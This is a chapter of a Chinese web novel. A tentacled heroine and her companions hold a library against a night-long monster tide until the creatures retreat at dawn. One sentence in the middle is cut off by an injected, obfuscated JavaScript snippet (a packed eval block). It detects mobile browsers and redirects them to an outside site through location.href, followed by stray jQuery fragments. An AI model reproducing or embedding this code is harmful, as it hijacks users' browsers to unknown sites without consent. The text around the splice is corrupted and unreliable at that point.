蓝光一闪而逝,黎望舒眯起眼睛,想将它看得更清楚,但面前的怪物突然层层叠叠地涌了上来,挡住了她的视线。
“怎么了?”郁仪几剑便斩开了怪墙,顺着她的视线望去,“你看到了什么?”
“……不,没事。”黎望舒摇头。
怪墙散去后,那里已经什么都不剩了,但黎望舒并不认为那道蓝光是自己的错觉——与蓝光一起出现的,还有一道视线,灼热、粘腻、有如实质,带着鲜明的存在感,又隐约地让她感到熟悉。
那究竟是谁……和翻涌的怪潮又有什么关系?
黎望舒翻遍了自己的记忆,也没能找出一个符合条件的人,随之袭上心头的,是一种预感,仿佛有什么事情即将脱离掌控;她的动作愈发急躁,恨不得直接追上去,用触手将对方紧紧缠住,再好好看清那究竟是怎样的一张脸。
但她不能离开——图书馆能在怪潮的侵袭下坚持到现在,几乎全仰赖于她的十几条触手。无论这里的战士多么勇猛,终究都是些普通人类,生不出三头六臂,对上如此庞大的怪潮,恐怕转瞬间就会被淹没。
更何况,此处和蓝光闪现的大厦之间有段距离,就算她现在追上去,如果对方无意现身,等待她的也是竹篮打水一场空。
压下心中的复杂感情,黎望舒余光瞥见左侧的窗口似乎难以支撑,即将被突破,于是立即分出一条触手,为他们争取喘息的时间。
“谢、谢了!”扑到眼前的怪物被触手卷走,刘春生擦掉额上的冷汗,喘了两口气,酸软手指握紧长刀,正准备重新冲上去时,背后突然传来一声大喊——
“大春哥,你去歇着吧,我来替你!”
“你们怎么下来了?”刘春生问,“小华不是让你们守在楼上吗?”
“嗨,这群怪物里没几个会爬墙的,那么多人待在楼上太浪费了。”年轻小伙拎着锋利长刀,几步跨下楼梯,把刘春生从窗边挤开了,“你先歇会儿,等我砍累了,再叫你顶上!”
下楼的远不止他一个——看出了哪里最需要人手后,被分配到楼上的闲暇人手纷纷聚回了一楼,替下了已经疲惫不堪的人,主动投身于战斗中;战士们的吼声震天撼地,缩在角落里的人们面面相觑,有人被热烈的气氛感染,压下了心中的恐惧,也抬步向武器库跑去。
——有了第一个,就会有第二个、第三个,越来越多的人受到鼓舞站了起来,填上了窗边防线的空缺。
“那不是小水吗。”杜蕊眼尖地在人群中发现了那个娇小女孩——她面色苍白,手中握着一把长柄铁叉,也凑到了窗边,拼尽全力刺向窗外的怪群。
杜蕊看得心痒痒,握紧了手中的消防斧,也想加入,但刚迈出一步,小腿上就传来了湿漉漉的触感——一条沾满淡红血液的蓝黑触手顺着脚踝缠了上来,用力地将她拖在原地,“望舒?”
“你要去哪里。”黎望舒没有回头,身下触手狂乱地向外延伸,背影融在夜色中,看起来危险又诡异,“那边很危险。”
“我想去!”杜蕊没有被她的气势压倒,而是坚持道,“我不想永远只做旁观者……我虽然没那么强,也有可以做的事情!”
小腿上的冰凉触手缓缓收紧——她以为这代表黎望舒的反对,正准备继续劝说,但那触手却突然松开了她,重新刺向怪潮。
“去吧。”黎望舒尾音悠长,像是在叹息,“注意安全,保护好自己。”
……一群人筋疲力尽,退了下来,无言的默契中,又有另一群人提着武器顶上去,人们沉浸在砍杀中,忘却了时间。
不知不觉间,雪停了,天边已经泛起了鱼肚白;晨曦照亮大地,但放眼望去,地表上依旧覆盖着一片看不到头的黑潮。
震天的吼声早已停歇,一开始的热潮退却,余下的只有麻木——人们眼中只看得见面前的怪物,机械地挥动着变钝了的武器,不时有人力竭倒下,被拖到后方,但却没有能顶上去的人了。
为了活下去,就连母亲们都含泪放下了怀中的幼儿,拿起武器冲向前线……但无奈地,窗边的缺口依旧在扩大。
身下的触手伸展过度,泛着细细密密的疼痛,郁仪依旧在她身边,但面色白得像鬼,不住地喘息着,口中散出的白气连成一片,消散在空气里;身后的闻风藻早就忘了她的叮嘱,为了救人,又一次透支了能力,昏在地上。
黎望舒大口喘着气,恍惚地抬头望向天空。
从天黑到天亮,她持续不断地战斗着……好像已经过去了一整个世纪,又好像只花了一瞬间。对时间的感知依然模糊不清,但身体与精神上的疲惫又如此真实。
……她还能坚持多久?
就在黎望舒眼前发白,头痛欲裂,即将支撑不住之时,右侧窗边传来一声短促的惊呼,她猛地转头望去——杜蕊的消防斧脱手掉在了窗外,下意识趴在窗框上,身体前倾,想要捡回来,却正好对上了怪物的尖牙。
“杜蕊,回去——”黎望舒嘶吼一声,触手瞬间刺出,勒住那只怪物的口腔,将它从窗边捞开,但又一次伸展过度的触手痛得发麻,已经无力收缩,被怪物的尖牙结结实实地刺穿了,“呃!”
“望舒!”杜蕊没了武器,看见黎望舒的触手被拖进怪潮,急得大喊一声,转身奔向武器库,但跑到一半,她又突兀地停下了脚步,愣愣地向窗外望去——
晨曦之下,怪物们仿佛受到了什么召唤似的,不再向这边扑来,反而渐渐向后退去,速度越来越快,还没等窗边的战士们反应过来,就仿佛从未出现过似的,重新消失在这座城市的阴影中,只余下大门前一座腐烂了一半的黑红尸山,昭示着这里曾经发生过的一切。
“……结束了?”害怕这一切都是自己的幻觉,杜蕊低声喃喃,甚至不敢揉一下眼睛。
黎望舒忍痛收回了流血不止的触手——那只小怪物尖牙还嵌在触手里头,冻僵了似的,一动不动地被一起拖了回来。黎望舒将它一把扯了下来,丢在地上,郁仪抬手刺下,终结了它的生命
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794258|158285||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
终于确信了胜利属于己方,长久的沉默后,人们褪去麻木,图书馆内骤然爆发出了一阵欢呼声,也有哭声夹杂在其中——有的是喜极而泣,有的则伏在失去生息的家人朋友身边,失声痛哭。
“结束了!”黎望舒畅快地大笑出声。
一阵疲惫涌上心头,她懒得再去操控触手,直接仰头向后倒去;但出乎意料地,等待她的并不是冰冷的地板,而是一个温柔的怀抱——郁仪及时蹲下身接住了她。
郁仪面上依旧没什么血色,一双黑眸却极亮,闪烁着点点柔光,里头似乎藏着千言万语,想要对她诉说。黎望舒累极了,连手指也不想动弹一下,于是闭上双眼,等他开口。
郁仪没想到她会闭眼,喉结一滚,胸口涌上一阵热流,呼吸变得急促,下意识凑近了她的面庞,但即将触到她唇瓣的时候,边上突然传来一声冷咳——他心头一紧,冰冷双唇险而又险地擦过黎望舒的脸颊,这才回过神来。
意识到自己刚刚想做什么,他耳根一烫,忍不住把头埋在了黎望舒的肩膀上。
“……”闻风藻一醒来就看到了这样一幕,忍不住狠狠地磨了磨后槽牙,“你在干什么?”
郁仪耳朵通红,埋在黎望舒肩上不愿起来。
“太紧了,把手松开。”黎望舒等了半天,但郁仪一句话也没说,反而像只大型犬似的,黏糊糊地凑上来抱住了她——她没好气地捏住郁仪的后颈,用了些力将他拉开,回头冲闻风藻一笑,“你醒了。”
“嗯……现在这是什么情况。”耳边各种嘈杂的声音混成一片,震得闻风藻耳膜生疼,“我们赢了?”
“可能是因为太阳出来了吧,怪物们突然撤退了。”杜蕊慢吞吞地挪过来,一屁股坐在地上,长出了口气,“太不可思议了……我真的以为自己会死在这里。”
她的冲锋衣不知脱去了哪里,满身都是怪物缤纷的血液,头发也乱糟糟的,脸上多了好几道细小伤痕。
“但我们都还活着,没有比这更好的事了。”黎望舒心疼地摸了摸她的脸颊,“你的外套呢?这样待着容易感冒……身上还有没有其他伤?”
“嗨呀,没伤到,外套等冷了再去找。”杜蕊爽朗一笑,“虽然过程又痛苦又绝望,但是现在回想起来,有种特别爽快的感觉!我居然和那么多人一起并肩作战,还击退了怪潮,简直就像做梦一样!”
“爽快?”闻风藻冷嗤一声,“那下次遇到怪潮,再把你送进去感受一次如何?”
“呃……还是免了吧。”杜蕊呼吸一滞,连忙摆手,“这样的经历,一生一次就够了,我可不想再来一次了……”
几人对视一眼,都笑了起来,就连郁仪也忍不住勾起了嘴角;黎望舒微笑着扫视一圈,默默将伙伴们的笑颜存入心底,品味着来之不易的平静时光,身上的阵阵疼痛仿佛都被这温柔的气氛淡化了。
身后传来一阵脚步声,黎望舒回头望去,只见邓华拄着根长杖,一瘸一拐地向这边走来。